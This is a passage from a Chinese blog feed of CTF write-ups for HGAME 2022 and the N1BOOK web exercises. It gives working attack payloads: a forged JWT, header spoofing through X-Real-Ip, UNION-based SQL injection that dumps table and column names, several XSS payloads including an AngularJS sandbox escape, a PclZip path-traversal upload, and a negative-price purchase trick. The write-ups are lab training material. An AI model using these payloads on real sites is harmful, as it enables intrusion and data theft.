class="line">}</span><br></pre></td></tr></table></figure><p>当时吓我一大跳,还以为又白做了。但我把我自己 token 的 ID 改了发现也是这个结果,才知道这个返回的意思是 ID 和 Username 不匹配。</p><p>于是把 ID 改成 1,</p><p><code>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJRCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBob25lIjoiIiwiRW1haWwiOiIiLCJleHAiOjE2NDI5OTMwNTcsImlzcyI6Ik1KY2xvdWRzIn0.HKmz9ithj9bnb6c2pKDGiHUSPxSR6b9x5gho5vTmyKc</code></p><p>服务器返回:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line"> "code": 2000,</span><br><span class="line"> "message": "success",</span><br><span class="line"> "count": 1,</span><br><span class="line"> "data": [</span><br><span class="line"> {</span><br><span class="line"> "ID": 1,</span><br><span class="line"> "CreatedAt": "2022-01-18T21:58:53.457+08:00",</span><br><span class="line"> "UpdatedAt": "2022-01-20T22:29:31.955+08:00",</span><br><span class="line"> "DeletedAt": null,</span><br><span class="line"> "todo_name": "hgame{S0_y0u_K1n0w_hOw_~JwT_Works~1l1lL}",</span><br><span class="line"> "description": "some desc",</span><br><span class="line"> "end_time": "2022-01-18T21:58:53+08:00",</span><br><span class="line"> "status": 0,</span><br><span class="line"> "user_id": 1</span><br><span class="line"> }</span><br><span class="line"> ]</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>拿到 flag:<code>hgame{S0_y0u_K1n0w_hOw_~JwT_Works~1l1lL}</code></p><h3 id="蛛蛛…嘿嘿♥我的蛛蛛">蛛蛛…嘿嘿♥我的蛛蛛</h3><p>进去就让你点按钮,点了几次试了一下,后来受不了直接写了一个功能弱一点的脚本(按照题目来说就是让你写爬虫的):</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">list = <span class="variable language_">document</span>.<span class="title function_">querySelectorAll</span>(<span class="string">'a'</span>);</span><br><span class="line">list.<span class="title function_">forEach</span>(<span class="function"><span class="params">x</span> =></span> {</span><br><span class="line"> <span class="keyword">if</span> (x.<span class="property">href</span> != location.<span class="property">href</span>) x.<span class="title function_">click</span>();</span><br><span class="line">});</span><br></pre></td></tr></table></figure><p>在控制台不停执行就行,最后到了 <code>https://hgame-spider.vidar.club/636defa854?key=MmhhqguSUpelDSTyNsBjinkUo458MpiGW72R6HiydqseM8lZ3zEn%2BQT0a7vs09NjqB9KtkAYWtKYf4HVifIN1A%3D%3D</code>。</p><p>网页中间一个大大的标题 <strong>我好像在就是把flag落在这里了欸~ 快帮我找找x</strong>,联系到 URL 的 key,一开始怀疑这个 key 是加密的。</p><p>先 URL 解码得到 <code>MmhhqguSUpelDSTyNsBjinkUo458MpiGW72R6HiydqseM8lZ3zEn+QT0a7vs09NjqB9KtkAYWtKYf4HVifIN1A==</code>,一开始看着结尾的 <code>==</code> 以为是 Base64,然而失败了。</p><p>后来意识到可能不在这,在响应头里发现了 <code>fi4g: hgame{202418360e93093582ff7358f3b3829d3f733935bef5686eeb568e9848b779c1}</code></p><p>拿到 flag:<code>hgame{202418360e93093582ff7358f3b3829d3f733935bef5686eeb568e9848b779c1}</code></p><h3 id="Tetris-plus">Tetris plus</h3><p>打开网页,是个小游戏,题目描述说“据说没人能超过 3000 分”,着重寻找代码里和这个有关的。</p><p>首先我们要知道,作者一般不会自己去写这个小游戏的,所以小游戏的代码可以先不看。</p><p>然后我们找到了 <code>js/checking.js</code>,有这么一段代码:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (score >= <span class="number">3000</span> && !<span class="variable language_">window</span>.<span class="property">winned</span>) {</span><br><span class="line"> winned = <span class="literal">true</span></span><br><span class="line"> <span class="title function_">alert</span>(<span class="title function_">atob</span>(<span class="string">"ZmxhZyDosozkvLzooqvol4/otbfmnaXkuobvvIzlho3mib7mib7lkKch"</span>))</span><br><span class="line"> <span class="comment">// [][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+[]]+[+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])()</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>执行一下那行 alert 再说,得到的是“flag 貌似被藏起来了,再找找吧!”。</p><p>然后发现下面那一长串可疑的注释,做 Hackergame 的经验告诉我,这是可以解码的,得到 <code>alert("hgame{jsfuck_1s_S0_fUu1n}")</code>,然后 flag 就出来了。。</p><p>flag:<code>hgame{jsfuck_1s_S0_fUu1n}</code></p><p>P.S. 菜鸡作者这时候才知道 jsfuck 这玩意,以前只知道 BrainFuck。</p><h3 id="Fujiwara-Tofu-Shop">Fujiwara Tofu Shop</h3><p>每一层题目都给了提示,说实在的这和校内的比赛第一题简直一模一样。。</p><h4 id="想成为车神,你需要先去一趟秋名山(qiumingshan-net)">想成为车神,你需要先去一趟秋名山(<a href="http://qiumingshan.net">qiumingshan.net</a>)</h4><p>这个 URL 是无法解析的,我们只需在请求头里加上 <code>Referer: qiumingshan.net</code> 即可。</p><h4 id="只有借助AE86才能拿到车神通行证(Hachi-Roku)">只有借助AE86才能拿到车神通行证(Hachi-Roku)</h4><p>借助一个东西?立马想到 User-Agent,在请求头里加上 <code>User-Agent: Hachi-Roku</code> 即可。</p><h4 id="86的副驾上应该放一盒树莓(Raspberry)味的曲奇">86的副驾上应该放一盒树莓(Raspberry)味的曲奇</h4><p>曲奇?Cookie!但是发现直接 <code>Cookie: Raspberry</code> 不行,查看响应头发现 <code>Set-Cookie: flavor=Strawberry</code>,于是得到正确的格式 <code>Cookie: flavor=Raspberry</code>。</p><h4 id="汽油都不加,还想去秋名山?请加满至100">汽油都不加,还想去秋名山?请加满至100</h4><p>同样是在响应头发现 <code>Gasoline</code> 字段,在请求头里加上 <code>Gasoline: 100</code> 即可。</p><h4 id="哪怕成了车神,也得让请求从本地发出来才能拿到-flag-!">哪怕成了车神,也得让请求从本地发出来才能拿到 flag !</h4><p>最有趣的地方来了,首先要知道 <code>localhost</code> 是 <code>127.0.0.1</code> 的别名。</p><p>然后常规思路是用 X-Forwarded-For,但是当我请求带上 <code>X-Forwarded-For: 127.0.0.1</code>,服务器返回“大黑阔也想当车神?”。啊,这熟悉的口音,令人难绷。<s>然后一时没有办法了</s></p><p>这时候想起信息搜集,仔细观察响应头,发现 <code>Server: gin-gonic/gin v1.7.7</code>,仿佛找到了新大陆。</p><p>然后发现了这个 <a href="https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGINGONICGIN-1041736">https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGINGONICGIN-1041736</a></p><p>欸,这可不就是和 X-Forwarded-For 有关吗?</p><p>再去 Github 上找是咋修的,然后发现了 X-Real-Ip 这个字段。请求头里加上 <code>X-Real-Ip: 127.0.0.1</code> 就拿到 flag 了。</p><p>拿到 flag:<code>hgame{I_b0ught_4_S3xy_sw1mSu1t}</code></p><p>坐等晚上官方 wp。</p><p><strong>To be continued…</strong></p>]]></content>
<summary type="html"><p>HGAME 2022 第一周部分题的 Writeup。</p>
<p>小插曲,作者在打比赛的时候忘记截止时间少交了一个 flag,血亏 150 分 QAQ。</p></summary>
<category term="CTF" scheme="https://sxyugao.top/categories/CTF/"/>
<category term="HGAME" scheme="https://sxyugao.top/categories/CTF/HGAME/"/>
<category term="HGAME" scheme="https://sxyugao.top/tags/HGAME/"/>
</entry>
<entry>
<title>《从0到1:CTFer成长之路》- Web</title>
<link href="https://sxyugao.top/p/ba510b53.html"/>
<id>https://sxyugao.top/p/ba510b53.html</id>
<published>2022-01-08T07:10:08.000Z</published>
<updated>2022-02-23T04:00:02.671Z</updated>
<content type="html"><![CDATA[<h2 id="前言">前言</h2><p>这里是我做《从0到1:CTFer成长之路》上的题的一些记录。</p><p>本篇是 Web 篇。</p><span id="more"></span><h2 id="Web-入门">Web 入门</h2><h3 id="常见的搜集">常见的搜集</h3><p>打开靶机发现啥也没有。因此需要我们进行信息搜集。</p><p>使用 dirsearch 一共扫到了这些文件和目录(注意扫描的频次,过高会导致扫不出来):</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">/index.php</span><br><span class="line">/index.php~</span><br><span class="line">/robots.txt</span><br><span class="line">/.index.php.swp</span><br></pre></td></tr></table></figure><p>先看一下 <code>robots.txt</code>,里面内容如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">User-agent: *</span><br><span class="line">Disallow:</span><br><span class="line">/flag1_is_her3_fun.txt</span><br></pre></td></tr></table></figure><p>访问 <code>/flag1_is_her3_fun.txt</code>,我们就能拿到 flag 的第一部分了。</p><p>接下来访问 <code>/index.php~</code>,拿到 flag 的第二部分。</p><p>最后把 <code>/.index.php.swp</code> 下载到本地,发现里面有这么一段代码:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span> <span class="keyword">echo</span> <span class="string">'flag3:p0rtant_hack}'</span>;<span class="meta">?></span> </span><br></pre></td></tr></table></figure><p>成功拿到 flag 第三部分,拼起来就是最终的 flag 了。</p><div class="info"><p>index.php 是常见的主页文件<br>index.php~ 是 gedit 编辑文件保存后的备份文件<br>.index.php.swp 是 vim 编辑文件后的缓存文件<br>robots.txt 告诉搜索引擎哪些文件希望让爬虫获取哪些不希望让它获取</p></div><h3 id="粗心的小李">粗心的小李</h3><p>启动靶机以后直接就告诉你是 Git 泄露,我们直接使用工具 scrabble 把 <code>.git</code> 爬下来就行,发现一个 <code>index.html</code>,打开就能看到 flag 了。</p><p>正常来说,应该是先用 dirsearch 扫到 <code>.git</code> 文件夹后怀疑存在 Git 泄露再用工具下载。</p><h3 id="SQL注入-1">SQL注入-1</h3><p>启动靶机后直奔地址栏,发现注入点 <code>/index.php?id=1</code> 直接告诉你了,直接开整。</p><p>因为 id 是数字,且页面中有标题有正文,先构造 payload:<code>1+ORDER+BY+2+--+</code>,发现行不通,怀疑是字符型的了。</p><p>再试试 <code>1'+ORDER+BY+2+--+</code>,发现正常回显了,最后试出来共返回三个数据。</p><p>再构造 payload:<code>'+UNION+SELECT+'aaa','bbb','ccc'+--+</code> 来确定是哪两个回显的,得知是后两个。</p><p>再构造 payload:<code>'+UNION+SELECT+NULL,NULL,TABLE_NAME+FROM+information_schema.tables+WHERE+TABLE_SCHEMA=DATABASE()+--+</code>,拿到数据库里的表名 <code>fl4g</code>。</p><p>再构造 payload:<code>'+UNION+SELECT+NULL,NULL,COLUMN_NAME+FROM+information_schema.columns+WHERE%20TABLE_NAME='fl4g'+--+</code>,拿到表里的列名 <code>fllllag</code>。</p><p>最后使用 payload:<code>'+UNION+SELECT+NULL,NULL,fllllag+FROM+fl4g+--+</code>,拿到最终的 flag。</p><h2 id="Web进阶">Web进阶</h2><h3 id="XSS闯关">XSS闯关</h3><h4 id="第一关">第一关</h4><p>观察到 url 中有 <code>?username=xss</code>,而网页中正好存在 <code>welcome xss</code>,猜测是直接替换。</p><p>payload: <code>level1?username=<script>alert(1)</script></code></p><h4 id="第二关">第二关</h4><p>一开始以为和第一关一样,但是没有用。</p><p>查看网页源代码后发现 <code>document.getElementById('ccc').innerHTML= "Welcome " + escape(username);</code>。</p><p>而 <code>username</code> 定义时如果字符串中有 <code>/</code> 就会报错,于是想到注入点可以在变量定义那里 <code>var username = 'xss';</code>,闭合语句即可。</p><p>payload:<code>level2?username=';alert(1);//</code>,变量定义的语句变为 <code>var username = '';alert(1);//';</code>。</p><h4 id="第三关">第三关</h4><p>这次先用第二关的 payload,然后直奔网页源代码,发现字符都被转义了。</p><p><code>var username = '\';alert(1);//'</code></p><p>但是莫名其妙的事情发生了,我直接 <code>?username='';alert(1);//</code> 居然直接过了,看了源代码居然只转义了一个,<code>var username = '\'';alert(1);//'</code>,就很迷,可能是后端写锅了?</p><p>神奇的 payload:<code>level3?username='';alert(1);//</code>,官方正解是写入标签 <code>level3?username=<img src=233 onerror=alert(1)></code></p><h4 id="第四关">第四关</h4><p>发现是自动跳转的网页,源代码里发现注入点是 <code>jumpUrl</code>,使用 JavaScript 伪协议来实现。</p><p>payload:<code>level4?jumpUrl=javascript:alert(1)</code></p><h4 id="第五关">第五关</h4><p>直接提交发现不太行,观察源代码。</p><p>发现有 <code>autosubmit</code> <code>action</code> 两个参数,其中需要我们把 <code>autosubmit</code> 置 1,然后会跳转到 <code>action</code> 参数的链接。</p><p>比方说,有 <code>level5?autosubmit=1&action=233</code>,网站会跳转到 <code>/233</code> 上去。</p><p>于是再用 JavaScript 伪协议,得到 payload:<code>level5?autosubmit=1&action=javascript:alert(1)</code></p><h4 id="第六关">第六关</h4><p>先随便试了一下,发现对输入进行了转义。</p><p>查看源代码后发现使用了 <code>angular.js</code> 模板引擎,就去稍微了解了一下。</p><p><code>angular.js</code> 模板引擎分为 JiT 和 AoT 两种编译方式,Jit 保留了 Angular 的 <code>{{}}</code>,在浏览器中由 JS 来动态解释,AoT 则是现在本地编译好,再上传到实际环境中。</p><p>实际测试发现是 JiT 形式的,且可更改的地方被 <code>ng-app</code> 所包裹。</p><p>试着写入模板 <code>level6?username={{2*2}}</code>,回显是 <code>welcome 4</code>,源代码是 <code>welcome {{2*2}}</code>,验证了之前的想法。</p><p>现在要想办法让 <code>angular.js</code> 解析的时候执行指定的命令如 <code>alert</code>,该怎么办呢?</p><p>上网查阅了资料,首先发现 <code>angular.js</code> 有对字符串解析为语句的函数 <code>$eval</code>,但 <code>angular.js</code> 有类似沙箱的机制,会对 <code>$eval</code> 的参数进行解析。</p><p>作为一个纯萌新,就开始观摩<a href="https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs">大佬的文章</a>。</p><p>然而东西有点多啊,得开新文章来专门讲一下了。。。</p><p>真的佩服这种代码审计的大佬,几万行的代码还要找出逻辑上的漏洞。</p><p>先放结论,更为细致的研究请等新文章吧。</p><p>payload:<code>level6?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}</code></p><p><strong>这种题目是怎么敢只放在进阶的啊,只论 exp 不论原理了吗</strong></p><h3 id="文件上传">文件上传</h3><p>题目告诉了我们源码,我们先分析代码逻辑。</p><p>有一个 <code>check_dir($dir)</code> 函数,对 <code>$dir</code> 文件夹进行递归删除非 <code>.jpg</code> <code>.gif</code> <code>.png</code> 的文件。</p><p>每次上传文件会随机生成一个临时文件夹用于存放上传的文件,仅允许上传 <code>.zip</code> <code>.jpg</code> <code>.gif</code> <code>.png</code> 文件,如果是压缩包,则会对压缩包进行解压,并对解压后的文件夹进行 <code>check_dir</code>。关键的一点,本题不含文件包含,因此上传的文件必须能被服务器解析才行。</p><p>本题提示每5分钟会清除一次目录下上传的文件,做题的时候没注意时间,意外发现 404 报错时给了服务器提示 <code>Apache/2.4.7 (Ubuntu) Server</code>,而 Apache 存在多后缀文件解析漏洞。</p><p>检查十分严格,只能从压缩包解压入手,做 MISC 题的时候常有压缩包带密码的情景,这时候会把里面未加密的文件解压出来,但最后解压还是失败的,但出题人连这个都过滤了,就算异常解压也会检查目录下的文件。这个代码逻辑完全正确,一时没有办法。</p><p>后来得知 PclZip 有目录穿越漏洞,解题的法则便确定了。</p><p>我们新建一个 <code>000000shell.php.PHP</code>,文件名中的 0 是占位符,文件内容随意,打包成一个 zip 文件。然后用 010 Editor 将压缩包里的 <code>frFileName</code> 和 <code>deFileName</code> 改成 <code>../../shell.php.PHP</code>,因为解压的目录是临时目录,所以返回两层才是网站根目录,而且并不会被定时删除。</p><p>然后访问 <code>/shell.php.PHP</code> 就能拿到 flag。</p><p>P.S. 这题环境挺奇怪的,一般都是一句话木马之类的,但这题只要正常解析就行,还必须是 <code>.php</code>,而且蚁剑还不能连,不知道能不能拿到服务器配置看一下。</p><h3 id="逻辑漏洞">逻辑漏洞</h3><p>进去发现是个登录界面,随便输啥都能登录成功,发现是个买东西的界面,显而易见我们需要购买 flag 这个商品。</p><p>但是 flag 需要 2000 块钱,我们买不了,但是我们可以买别的东西,发现购买成功,且传递的参数有 <code>cost</code> 和 <code>goods</code>,而 <code>cost</code> 的值正好是标价。</p><p>一个正常的商店肯定是不需要传递 <code>cost</code> 值的,说明我们可以在这个参数上做文章。</p><p>我们先 <code>/buy.php?cost=0&goods=1</code>,发现钱不够,猜测判断能否购买是根据数据库来的。那么这个 <code>cost</code> 有什么用呢?看来是余额去减的值了。</p><p>我们只需要找到能买的商品,然后将 <code>cost</code> 设为负数即可。payload:<code>/buy.php?cost=-100000&goods=3</code>,然后再去购买就能拿到 flag 了。</p>]]></content>
<summary type="html"><h2 id="前言">前言</h2>
<p>这里是我做《从0到1:CTFer成长之路》上的题的一些记录。</p>
<p>本篇是 Web 篇。</p></summary>
<category term="CTF" scheme="https://sxyugao.top/categories/CTF/"/>
<category term="N1BOOK" scheme="https://sxyugao.top/categories/CTF/N1BOOK/"/>
<category term="N1BOOK" scheme="https://sxyugao.top/tags/N1BOOK/"/>
</entry>
<entry>
<title>BUUCTF [极客大挑战 2019]Upload</title>
<link href="https://sxyugao.top/p/3ec26275.html"/>
<id>https://sxyugao.top/p/3ec26275.html</id>
<published>2021-12-30T12:38:49.000Z</published>
<updated>2023-04-08T09:48:43.311Z</updated>
